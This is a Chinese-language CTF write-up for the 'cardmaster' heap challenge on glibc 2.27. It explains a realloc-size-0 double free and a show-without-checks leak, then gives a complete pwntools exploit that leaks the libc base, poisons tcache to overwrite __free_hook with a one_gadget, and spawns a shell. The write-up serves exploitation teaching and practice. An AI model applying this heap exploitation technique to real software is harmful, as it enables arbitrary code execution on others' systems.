cardmaster

换ld和libc

此步骤略,但是可以发现是2.27的版本

逆向分析

经过分析得到结构体

image-20241129114856377

函数的功能:

1
2
3
4
5
6
7
8
9
int menu()
{
puts(" CARD MASTER");
puts(" 1. init card set"); //利用点
puts(" 2. set info"); //利用点
puts(" 3. get info");
puts(" 4. shuffle!");
return puts(" 5. show cards");
}

image-20241129115329714

利用realloc在申请为0时会执行free策略,来进行释放,并且可以double

image-20241129115811070

show这里没有对堆块进行检查,可以直接打印,有点uaf的感觉

攻击方法

泄露libc基址

第一步利用set_info创建一个0x110的大堆块,然后释放掉得到unsort

这时候还会存在一个tacache bin,然后用init来吧tacache bin清空

1
2
3
edit(0x110,b'aaaa')
free()
init()

再次free,由于这时花色是全局变量,所以这里执行malloc0,但是malloc最小为0x20,于是从unsortbin切割,由于init中的malloc已经进行一次切割,所以得到的数据在free新申请的数据里存在,并且位置正好在字符串处,打印获得

1
2
3
4
5
free()
show()
p.recvuntil("set:")
base = u64(p.recvuntil(":")[0:6].ljust(8,b"\x00")) - 0x3ebca0
print(hex(base))

二次释放

1
2
3
4
5
#gdb.attach(p)
libc.address = base
one_gadget = 0x4f322 + base
free()
free()

image-20241129121619304

1
edit(4,p64(libc.sym['__free_hook']))

image-20241129121845198

1
2
3
4
5
init()		#init是为了让花色初始化,好进行下一次malloc
edit(4,p64(0)) #第一次申请,将_free_hook地址转移到可写的堆块上

init()
edit(4,p64(one_gadget)) # free函数劫持

image-20241129122442573

1
2
3
#执行
free()
p.interactive()

完整expoit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
p = process("cardmaster")
context.log_level = "debug"
libc = ELF("./libc.so.6")

def init():
p.recvuntil(">>")
p.sendline("1")

def free():
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("nt:")
p.sendline("0")
p.recvuntil("?")
p.sendline("0")
p.recvuntil("l:")
p.sendline("1000")

def edit(count,cnt):

p.recvuntil(b'>>')
p.sendline(b'2')
p.recvuntil(b':')
p.sendline(str(count))
p.recvuntil(b'?')
p.sendline(b'13')
p.recvuntil(b':')
p.sendline(b'1000')
p.recvuntil(b':')
p.sendline(cnt)

def show():
p.recvuntil(b'>>')
p.sendline(b'3')

edit(0x110,b'aaaa')
free()
init()
free()
pause()
show()
p.recvuntil("set:")
base = u64(p.recvuntil(":")[0:6].ljust(8,b"\x00")) - 0x3ebca0
print(hex(base))

#gdb.attach(p)
libc.address = base
one_gadget = 0x4f322 + base
free()
free()
edit(4,p64(libc.sym['__free_hook']))
init()
edit(4,p64(0))
init()
edit(4,p64(one_gadget))
free()
p.interactive()

image-20241129123219218

拿到shell